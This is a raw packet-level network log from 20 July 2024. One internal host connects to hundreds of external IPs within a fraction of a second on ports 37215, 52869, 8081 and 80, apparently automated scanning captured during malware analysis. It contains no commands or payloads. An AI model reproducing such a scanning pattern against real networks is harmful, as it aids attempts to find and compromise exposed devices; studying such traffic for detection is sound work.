Jul 20, 2024 23:00:58.921972036 CEST	34698	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:00:58.922427893 CEST	40138	52869	192.168.2.23	49.39.36.55
Jul 20, 2024 23:00:58.923459053 CEST	80	56968	95.19.94.171	192.168.2.23
Jul 20, 2024 23:00:58.923490047 CEST	40010	37215	192.168.2.23	170.47.187.157
Jul 20, 2024 23:00:58.923522949 CEST	56968	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:58.924168110 CEST	52869	47818	120.187.5.172	192.168.2.23
Jul 20, 2024 23:00:58.924207926 CEST	47818	52869	192.168.2.23	120.187.5.172
Jul 20, 2024 23:00:58.924325943 CEST	8081	44670	119.196.179.139	192.168.2.23
Jul 20, 2024 23:00:58.924388885 CEST	41670	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:58.924388885 CEST	41670	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:58.924401045 CEST	44670	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:58.925662041 CEST	37215	53310	103.34.160.230	192.168.2.23
Jul 20, 2024 23:00:58.925694942 CEST	35588	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:00:58.925704002 CEST	53310	37215	192.168.2.23	103.34.160.230
Jul 20, 2024 23:00:58.926201105 CEST	8081	46898	176.159.56.7	192.168.2.23
Jul 20, 2024 23:00:58.926266909 CEST	42544	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:58.927109957 CEST	8081	47768	176.159.56.7	192.168.2.23
Jul 20, 2024 23:00:58.927124977 CEST	80	34698	95.34.132.196	192.168.2.23
Jul 20, 2024 23:00:58.927149057 CEST	47768	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:58.927445889 CEST	37038	37215	192.168.2.23	107.136.23.140
Jul 20, 2024 23:00:58.927774906 CEST	55072	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:58.927774906 CEST	55072	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:58.927783012 CEST	52869	40138	49.39.36.55	192.168.2.23
Jul 20, 2024 23:00:58.927833080 CEST	40138	52869	192.168.2.23	49.39.36.55
Jul 20, 2024 23:00:58.929172993 CEST	55942	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:58.929398060 CEST	37215	40010	170.47.187.157	192.168.2.23
Jul 20, 2024 23:00:58.929408073 CEST	39112	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:58.929408073 CEST	39112	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:58.929411888 CEST	8081	58430	42.37.47.7	192.168.2.23
Jul 20, 2024 23:00:58.929425001 CEST	80	53686	95.83.199.37	192.168.2.23
Jul 20, 2024 23:00:58.929439068 CEST	8081	55508	129.66.19.4	192.168.2.23
Jul 20, 2024 23:00:58.929439068 CEST	40010	37215	192.168.2.23	170.47.187.157
Jul 20, 2024 23:00:58.929649115 CEST	8081	41670	78.220.143.116	192.168.2.23
Jul 20, 2024 23:00:58.930649042 CEST	44780	37215	192.168.2.23	219.159.165.91
Jul 20, 2024 23:00:58.930789948 CEST	80	35588	95.34.132.196	192.168.2.23
Jul 20, 2024 23:00:58.930943012 CEST	35588	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:00:58.931154966 CEST	8081	42544	78.220.143.116	192.168.2.23
Jul 20, 2024 23:00:58.931157112 CEST	34960	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:58.931157112 CEST	34960	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:58.931191921 CEST	42544	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:58.931934118 CEST	40006	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:58.932651043 CEST	35830	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:58.932667017 CEST	37215	37038	107.136.23.140	192.168.2.23
Jul 20, 2024 23:00:58.932833910 CEST	37038	37215	192.168.2.23	107.136.23.140
Jul 20, 2024 23:00:58.933155060 CEST	8081	55072	191.158.189.2	192.168.2.23
Jul 20, 2024 23:00:58.934004068 CEST	33262	37215	192.168.2.23	41.232.172.92
Jul 20, 2024 23:00:58.934379101 CEST	51728	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:58.934379101 CEST	51728	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:58.934439898 CEST	8081	55942	191.158.189.2	192.168.2.23
Jul 20, 2024 23:00:58.934453964 CEST	80	39112	95.119.119.53	192.168.2.23
Jul 20, 2024 23:00:58.934482098 CEST	55942	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:58.935503960 CEST	52598	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:58.935856104 CEST	51974	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:58.935946941 CEST	51974	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:58.936418056 CEST	37215	44780	219.159.165.91	192.168.2.23
Jul 20, 2024 23:00:58.936460018 CEST	44780	37215	192.168.2.23	219.159.165.91
Jul 20, 2024 23:00:58.937027931 CEST	43154	37215	192.168.2.23	197.252.90.201
Jul 20, 2024 23:00:58.937448978 CEST	53936	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:58.937513113 CEST	53936	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:58.938205004 CEST	8081	48288	209.221.156.98	192.168.2.23
Jul 20, 2024 23:00:58.938219070 CEST	8081	36372	195.218.137.89	192.168.2.23
Jul 20, 2024 23:00:58.938232899 CEST	80	36272	95.77.163.115	192.168.2.23
Jul 20, 2024 23:00:58.938247919 CEST	8081	34960	177.95.54.71	192.168.2.23
Jul 20, 2024 23:00:58.938262939 CEST	80	40006	95.119.119.53	192.168.2.23
Jul 20, 2024 23:00:58.938302040 CEST	40006	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:58.938342094 CEST	52874	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:58.938734055 CEST	8081	35830	177.95.54.71	192.168.2.23
Jul 20, 2024 23:00:58.938783884 CEST	35830	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:58.938910007 CEST	54806	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:58.939824104 CEST	37215	33262	41.232.172.92	192.168.2.23
Jul 20, 2024 23:00:58.940026045 CEST	33262	37215	192.168.2.23	41.232.172.92
Jul 20, 2024 23:00:58.940417051 CEST	59138	37215	192.168.2.23	150.124.88.37
Jul 20, 2024 23:00:58.940511942 CEST	8081	51728	42.11.33.26	192.168.2.23
Jul 20, 2024 23:00:58.940634966 CEST	80	33024	95.63.144.57	192.168.2.23
Jul 20, 2024 23:00:58.940740108 CEST	50994	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:58.940740108 CEST	50994	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:58.941430092 CEST	8081	41118	221.225.197.171	192.168.2.23
Jul 20, 2024 23:00:58.941742897 CEST	8081	52598	42.11.33.26	192.168.2.23
Jul 20, 2024 23:00:58.941792011 CEST	52598	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:58.941934109 CEST	80	51974	95.75.206.109	192.168.2.23
Jul 20, 2024 23:00:58.942105055 CEST	51864	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:58.942785025 CEST	42268	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:58.942785025 CEST	42268	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:58.943489075 CEST	52660	52869	192.168.2.23	82.99.109.50
Jul 20, 2024 23:00:58.943586111 CEST	37215	43154	197.252.90.201	192.168.2.23
Jul 20, 2024 23:00:58.943614960 CEST	8081	53936	183.232.41.59	192.168.2.23
Jul 20, 2024 23:00:58.943820953 CEST	43154	37215	192.168.2.23	197.252.90.201
Jul 20, 2024 23:00:58.943999052 CEST	44552	37215	192.168.2.23	41.216.133.169
Jul 20, 2024 23:00:58.944384098 CEST	60736	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:58.944384098 CEST	60736	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:58.944447041 CEST	80	52874	95.75.206.109	192.168.2.23
Jul 20, 2024 23:00:58.944499016 CEST	52874	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:58.944782019 CEST	8081	54188	116.5.187.7	192.168.2.23
Jul 20, 2024 23:00:58.944964886 CEST	8081	54806	183.232.41.59	192.168.2.23
Jul 20, 2024 23:00:58.945004940 CEST	54806	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:58.946321964 CEST	37215	59138	150.124.88.37	192.168.2.23
Jul 20, 2024 23:00:58.946337938 CEST	8081	50994	14.240.127.137	192.168.2.23
Jul 20, 2024 23:00:58.946368933 CEST	43174	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:58.946418047 CEST	59138	37215	192.168.2.23	150.124.88.37
Jul 20, 2024 23:00:58.946873903 CEST	33376	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:58.947206974 CEST	57522	52869	192.168.2.23	104.178.230.186
Jul 20, 2024 23:00:58.947626114 CEST	8081	51864	14.240.127.137	192.168.2.23
Jul 20, 2024 23:00:58.947664976 CEST	51864	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:58.947946072 CEST	80	42268	95.20.245.92	192.168.2.23
Jul 20, 2024 23:00:58.948681116 CEST	8081	37296	130.192.156.155	192.168.2.23
Jul 20, 2024 23:00:58.948695898 CEST	80	52476	95.132.68.188	192.168.2.23
Jul 20, 2024 23:00:58.948796034 CEST	52869	52660	82.99.109.50	192.168.2.23
Jul 20, 2024 23:00:58.948843956 CEST	52660	52869	192.168.2.23	82.99.109.50
Jul 20, 2024 23:00:58.948930979 CEST	33444	37215	192.168.2.23	197.168.86.78
Jul 20, 2024 23:00:58.949383020 CEST	37215	44552	41.216.133.169	192.168.2.23
Jul 20, 2024 23:00:58.949408054 CEST	8081	60736	219.185.132.28	192.168.2.23
Jul 20, 2024 23:00:58.949433088 CEST	44552	37215	192.168.2.23	41.216.133.169
Jul 20, 2024 23:00:58.949579954 CEST	56102	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:58.949579954 CEST	56102	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:58.951414108 CEST	80	43174	95.20.245.92	192.168.2.23
Jul 20, 2024 23:00:58.951462984 CEST	56976	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:58.951605082 CEST	43174	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:58.951996088 CEST	34464	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:58.951996088 CEST	34464	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:58.952238083 CEST	8081	33376	219.185.132.28	192.168.2.23
Jul 20, 2024 23:00:58.952286005 CEST	33376	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:58.952441931 CEST	52869	57522	104.178.230.186	192.168.2.23
Jul 20, 2024 23:00:58.952511072 CEST	57522	52869	192.168.2.23	104.178.230.186
Jul 20, 2024 23:00:58.952795982 CEST	8081	55958	86.189.116.244	192.168.2.23
Jul 20, 2024 23:00:58.953027964 CEST	48472	52869	192.168.2.23	203.236.42.147
Jul 20, 2024 23:00:58.953564882 CEST	40646	37215	192.168.2.23	198.189.132.142
Jul 20, 2024 23:00:58.954112053 CEST	37215	33444	197.168.86.78	192.168.2.23
Jul 20, 2024 23:00:58.954158068 CEST	54054	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:58.954160929 CEST	33444	37215	192.168.2.23	197.168.86.78
Jul 20, 2024 23:00:58.954207897 CEST	54054	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:58.954577923 CEST	8081	56102	67.27.81.222	192.168.2.23
Jul 20, 2024 23:00:58.955980062 CEST	35380	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:58.956736088 CEST	54928	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:58.956753016 CEST	8081	56976	67.27.81.222	192.168.2.23
Jul 20, 2024 23:00:58.956914902 CEST	80	34464	95.111.9.141	192.168.2.23
Jul 20, 2024 23:00:58.957015038 CEST	56976	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:58.958082914 CEST	52869	48472	203.236.42.147	192.168.2.23
Jul 20, 2024 23:00:58.958162069 CEST	48472	52869	192.168.2.23	203.236.42.147
Jul 20, 2024 23:00:58.958621025 CEST	45012	37215	192.168.2.23	157.20.27.216
Jul 20, 2024 23:00:58.958981991 CEST	37215	40646	198.189.132.142	192.168.2.23
Jul 20, 2024 23:00:58.959042072 CEST	40646	37215	192.168.2.23	198.189.132.142
Jul 20, 2024 23:00:58.959115982 CEST	8081	54054	8.145.37.187	192.168.2.23
Jul 20, 2024 23:00:58.959196091 CEST	37146	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:58.959196091 CEST	37146	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:58.959491968 CEST	33560	52869	192.168.2.23	8.98.158.174
Jul 20, 2024 23:00:58.960268974 CEST	38020	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:58.960565090 CEST	46768	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:58.960565090 CEST	46768	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:58.960603952 CEST	80	56088	95.19.94.171	192.168.2.23
Jul 20, 2024 23:00:58.960983992 CEST	80	35380	95.111.9.141	192.168.2.23
Jul 20, 2024 23:00:58.961034060 CEST	35380	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:58.962063074 CEST	33424	37215	192.168.2.23	157.77.208.129
Jul 20, 2024 23:00:58.962080002 CEST	8081	54928	8.145.37.187	192.168.2.23
Jul 20, 2024 23:00:58.962142944 CEST	54928	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:58.962666988 CEST	44752	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:58.962666988 CEST	44752	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:58.964098930 CEST	47692	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:58.964711905 CEST	45628	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:58.964945078 CEST	39280	52869	192.168.2.23	97.69.175.230
Jul 20, 2024 23:00:58.966905117 CEST	50040	37215	192.168.2.23	41.124.29.47
Jul 20, 2024 23:00:58.966984034 CEST	8081	57388	68.41.70.255	192.168.2.23
Jul 20, 2024 23:00:58.967077017 CEST	8081	43798	119.196.179.139	192.168.2.23
Jul 20, 2024 23:00:58.967092037 CEST	37215	45012	157.20.27.216	192.168.2.23
Jul 20, 2024 23:00:58.967106104 CEST	8081	37146	113.230.96.58	192.168.2.23
Jul 20, 2024 23:00:58.967119932 CEST	52869	33560	8.98.158.174	192.168.2.23
Jul 20, 2024 23:00:58.967149973 CEST	8081	38020	113.230.96.58	192.168.2.23
Jul 20, 2024 23:00:58.967154026 CEST	45012	37215	192.168.2.23	157.20.27.216
Jul 20, 2024 23:00:58.967251062 CEST	38020	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:58.967483997 CEST	33560	52869	192.168.2.23	8.98.158.174
Jul 20, 2024 23:00:58.967576981 CEST	33260	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:58.967576981 CEST	33260	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:58.968178034 CEST	80	46768	95.159.154.72	192.168.2.23
Jul 20, 2024 23:00:58.968234062 CEST	37215	33424	157.77.208.129	192.168.2.23
Jul 20, 2024 23:00:58.968250036 CEST	8081	44752	44.246.32.7	192.168.2.23
Jul 20, 2024 23:00:58.968292952 CEST	33424	37215	192.168.2.23	157.77.208.129
Jul 20, 2024 23:00:58.968663931 CEST	34136	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:58.968931913 CEST	80	34698	95.34.132.196	192.168.2.23
Jul 20, 2024 23:00:58.968947887 CEST	8081	46898	176.159.56.7	192.168.2.23
Jul 20, 2024 23:00:58.969029903 CEST	51832	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:58.969031096 CEST	51832	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:58.969647884 CEST	80	47692	95.159.154.72	192.168.2.23
Jul 20, 2024 23:00:58.969693899 CEST	47692	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:58.970165968 CEST	8081	45628	44.246.32.7	192.168.2.23
Jul 20, 2024 23:00:58.970227957 CEST	52869	39280	97.69.175.230	192.168.2.23
Jul 20, 2024 23:00:58.970231056 CEST	45628	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:58.970267057 CEST	39280	52869	192.168.2.23	97.69.175.230
Jul 20, 2024 23:00:58.970830917 CEST	37622	37215	192.168.2.23	196.108.213.184
Jul 20, 2024 23:00:58.971277952 CEST	42264	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:58.971277952 CEST	42264	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:58.971502066 CEST	50442	52869	192.168.2.23	4.194.116.48
Jul 20, 2024 23:00:58.973033905 CEST	52766	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:58.973844051 CEST	43144	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:58.975683928 CEST	37398	37215	192.168.2.23	77.13.19.125
Jul 20, 2024 23:00:58.976181030 CEST	57144	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:58.976181030 CEST	57144	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:58.977842093 CEST	58022	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:58.978156090 CEST	39034	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:58.978240967 CEST	39034	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:58.979378939 CEST	43378	52869	192.168.2.23	201.173.108.254
Jul 20, 2024 23:00:58.980488062 CEST	8081	41670	78.220.143.116	192.168.2.23
Jul 20, 2024 23:00:58.980516911 CEST	80	39112	95.119.119.53	192.168.2.23
Jul 20, 2024 23:00:58.980532885 CEST	8081	55072	191.158.189.2	192.168.2.23
Jul 20, 2024 23:00:58.980627060 CEST	54186	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:58.980627060 CEST	54186	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:58.980784893 CEST	37215	50040	41.124.29.47	192.168.2.23
Jul 20, 2024 23:00:58.980799913 CEST	8081	33260	40.128.147.134	192.168.2.23
Jul 20, 2024 23:00:58.980820894 CEST	50040	37215	192.168.2.23	41.124.29.47
Jul 20, 2024 23:00:58.980842113 CEST	8081	34136	40.128.147.134	192.168.2.23
Jul 20, 2024 23:00:58.980894089 CEST	34136	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:58.981172085 CEST	80	51832	95.69.1.49	192.168.2.23
Jul 20, 2024 23:00:58.981188059 CEST	37215	37622	196.108.213.184	192.168.2.23
Jul 20, 2024 23:00:58.981220961 CEST	8081	42264	158.113.146.43	192.168.2.23
Jul 20, 2024 23:00:58.981230021 CEST	37622	37215	192.168.2.23	196.108.213.184
Jul 20, 2024 23:00:58.981313944 CEST	58932	37215	192.168.2.23	157.211.77.112
Jul 20, 2024 23:00:58.981403112 CEST	52869	50442	4.194.116.48	192.168.2.23
Jul 20, 2024 23:00:58.981419086 CEST	80	52766	95.69.1.49	192.168.2.23
Jul 20, 2024 23:00:58.981447935 CEST	52766	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:58.981451035 CEST	8081	43144	158.113.146.43	192.168.2.23
Jul 20, 2024 23:00:58.981453896 CEST	50442	52869	192.168.2.23	4.194.116.48
Jul 20, 2024 23:00:58.981479883 CEST	37215	37398	77.13.19.125	192.168.2.23
Jul 20, 2024 23:00:58.981494904 CEST	8081	57144	136.141.153.70	192.168.2.23
Jul 20, 2024 23:00:58.981638908 CEST	37398	37215	192.168.2.23	77.13.19.125
Jul 20, 2024 23:00:58.981642008 CEST	43144	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:58.982952118 CEST	39974	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:58.983623028 CEST	55068	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:58.983784914 CEST	8081	58022	136.141.153.70	192.168.2.23
Jul 20, 2024 23:00:58.983840942 CEST	58022	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:58.984004974 CEST	80	39034	95.90.8.227	192.168.2.23
Jul 20, 2024 23:00:58.984673023 CEST	8081	51728	42.11.33.26	192.168.2.23
Jul 20, 2024 23:00:58.984688044 CEST	8081	34960	177.95.54.71	192.168.2.23
Jul 20, 2024 23:00:58.984703064 CEST	8081	53936	183.232.41.59	192.168.2.23
Jul 20, 2024 23:00:58.984715939 CEST	80	51974	95.75.206.109	192.168.2.23
Jul 20, 2024 23:00:58.984833002 CEST	52869	43378	201.173.108.254	192.168.2.23
Jul 20, 2024 23:00:58.984873056 CEST	43378	52869	192.168.2.23	201.173.108.254
Jul 20, 2024 23:00:58.985469103 CEST	8081	54186	67.126.95.220	192.168.2.23
Jul 20, 2024 23:00:58.986753941 CEST	52988	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:58.986753941 CEST	52988	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:58.987396955 CEST	52812	37215	192.168.2.23	41.248.83.42
Jul 20, 2024 23:00:58.987524033 CEST	37215	58932	157.211.77.112	192.168.2.23
Jul 20, 2024 23:00:58.987566948 CEST	58932	37215	192.168.2.23	157.211.77.112
Jul 20, 2024 23:00:58.988347054 CEST	53866	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:58.988487005 CEST	80	39974	95.90.8.227	192.168.2.23
Jul 20, 2024 23:00:58.988529921 CEST	39974	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:58.988702059 CEST	35924	52869	192.168.2.23	47.10.251.72
Jul 20, 2024 23:00:58.988789082 CEST	8081	55068	67.126.95.220	192.168.2.23
Jul 20, 2024 23:00:58.988805056 CEST	80	42268	95.20.245.92	192.168.2.23
Jul 20, 2024 23:00:58.988830090 CEST	8081	50994	14.240.127.137	192.168.2.23
Jul 20, 2024 23:00:58.988842010 CEST	45154	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:58.988842010 CEST	45154	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:58.988842010 CEST	55068	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:58.991739988 CEST	49148	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:58.991739988 CEST	49148	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:58.991776943 CEST	8081	52988	45.154.193.96	192.168.2.23
Jul 20, 2024 23:00:58.992352962 CEST	37215	52812	41.248.83.42	192.168.2.23
Jul 20, 2024 23:00:58.992394924 CEST	52812	37215	192.168.2.23	41.248.83.42
Jul 20, 2024 23:00:58.992630005 CEST	8081	60736	219.185.132.28	192.168.2.23
Jul 20, 2024 23:00:58.993860006 CEST	46100	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:58.994035006 CEST	38176	37215	192.168.2.23	41.20.53.198
Jul 20, 2024 23:00:58.994981050 CEST	50028	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:58.995207071 CEST	56652	52869	192.168.2.23	219.105.54.148
Jul 20, 2024 23:00:58.997699976 CEST	43480	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:58.997699976 CEST	43480	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:58.998709917 CEST	43482	37215	192.168.2.23	198.254.9.254
Jul 20, 2024 23:00:58.999429941 CEST	44362	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:58.999845982 CEST	46052	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:58.999902010 CEST	46052	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:59.000405073 CEST	8081	53866	45.154.193.96	192.168.2.23
Jul 20, 2024 23:00:59.000420094 CEST	52869	35924	47.10.251.72	192.168.2.23
Jul 20, 2024 23:00:59.000432968 CEST	80	45154	95.223.155.253	192.168.2.23
Jul 20, 2024 23:00:59.000472069 CEST	35924	52869	192.168.2.23	47.10.251.72
Jul 20, 2024 23:00:59.000494957 CEST	8081	56102	67.27.81.222	192.168.2.23
Jul 20, 2024 23:00:59.000502110 CEST	53866	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:59.000670910 CEST	8081	49148	40.204.235.232	192.168.2.23
Jul 20, 2024 23:00:59.000699997 CEST	80	46100	95.223.155.253	192.168.2.23
Jul 20, 2024 23:00:59.000714064 CEST	37215	38176	41.20.53.198	192.168.2.23
Jul 20, 2024 23:00:59.000741005 CEST	8081	50028	40.204.235.232	192.168.2.23
Jul 20, 2024 23:00:59.000746965 CEST	46100	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:59.000746965 CEST	38176	37215	192.168.2.23	41.20.53.198
Jul 20, 2024 23:00:59.000755072 CEST	52869	56652	219.105.54.148	192.168.2.23
Jul 20, 2024 23:00:59.000778913 CEST	50028	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:59.000802994 CEST	56652	52869	192.168.2.23	219.105.54.148
Jul 20, 2024 23:00:59.001382113 CEST	8081	54054	8.145.37.187	192.168.2.23
Jul 20, 2024 23:00:59.001396894 CEST	80	34464	95.111.9.141	192.168.2.23
Jul 20, 2024 23:00:59.002943039 CEST	49152	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:59.002943039 CEST	49152	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:59.003098965 CEST	45810	52869	192.168.2.23	129.194.41.40
Jul 20, 2024 23:00:59.004622936 CEST	8081	43480	67.253.170.233	192.168.2.23
Jul 20, 2024 23:00:59.004636049 CEST	37215	43482	198.254.9.254	192.168.2.23
Jul 20, 2024 23:00:59.004679918 CEST	43482	37215	192.168.2.23	198.254.9.254
Jul 20, 2024 23:00:59.004724026 CEST	8081	44362	67.253.170.233	192.168.2.23
Jul 20, 2024 23:00:59.004755974 CEST	80	46052	95.217.183.227	192.168.2.23
Jul 20, 2024 23:00:59.004884005 CEST	44362	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:59.005136967 CEST	47006	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:59.005290031 CEST	60464	37215	192.168.2.23	41.189.194.244
Jul 20, 2024 23:00:59.005717993 CEST	50036	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:59.008342981 CEST	8081	49152	67.146.206.6	192.168.2.23
Jul 20, 2024 23:00:59.008356094 CEST	52869	45810	129.194.41.40	192.168.2.23
Jul 20, 2024 23:00:59.008394003 CEST	45810	52869	192.168.2.23	129.194.41.40
Jul 20, 2024 23:00:59.008862019 CEST	43636	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:59.008862019 CEST	43636	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:59.009089947 CEST	33450	52869	192.168.2.23	104.55.221.40
Jul 20, 2024 23:00:59.009597063 CEST	8081	44752	44.246.32.7	192.168.2.23
Jul 20, 2024 23:00:59.009612083 CEST	80	46768	95.159.154.72	192.168.2.23
Jul 20, 2024 23:00:59.009627104 CEST	8081	37146	113.230.96.58	192.168.2.23
Jul 20, 2024 23:00:59.010598898 CEST	44520	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:59.010724068 CEST	36492	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:59.010724068 CEST	36492	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:59.010821104 CEST	45996	37215	192.168.2.23	157.115.232.41
Jul 20, 2024 23:00:59.013294935 CEST	80	47006	95.217.183.227	192.168.2.23
Jul 20, 2024 23:00:59.013310909 CEST	37215	60464	41.189.194.244	192.168.2.23
Jul 20, 2024 23:00:59.013324976 CEST	8081	50036	67.146.206.6	192.168.2.23
Jul 20, 2024 23:00:59.013339996 CEST	47006	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:59.013354063 CEST	60464	37215	192.168.2.23	41.189.194.244
Jul 20, 2024 23:00:59.013360023 CEST	50036	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:59.013369083 CEST	50012	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:59.013901949 CEST	50012	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:59.014805079 CEST	37454	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:59.015042067 CEST	8081	43636	99.31.70.158	192.168.2.23
Jul 20, 2024 23:00:59.015055895 CEST	52869	33450	104.55.221.40	192.168.2.23
Jul 20, 2024 23:00:59.015166998 CEST	33450	52869	192.168.2.23	104.55.221.40
Jul 20, 2024 23:00:59.015759945 CEST	50896	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:59.016056061 CEST	37328	52869	192.168.2.23	25.108.103.192
Jul 20, 2024 23:00:59.016182899 CEST	46354	37215	192.168.2.23	84.167.140.65
Jul 20, 2024 23:00:59.017072916 CEST	8081	44520	99.31.70.158	192.168.2.23
Jul 20, 2024 23:00:59.017086983 CEST	37215	45996	157.115.232.41	192.168.2.23
Jul 20, 2024 23:00:59.017105103 CEST	80	36492	95.47.49.37	192.168.2.23
Jul 20, 2024 23:00:59.017134905 CEST	45996	37215	192.168.2.23	157.115.232.41
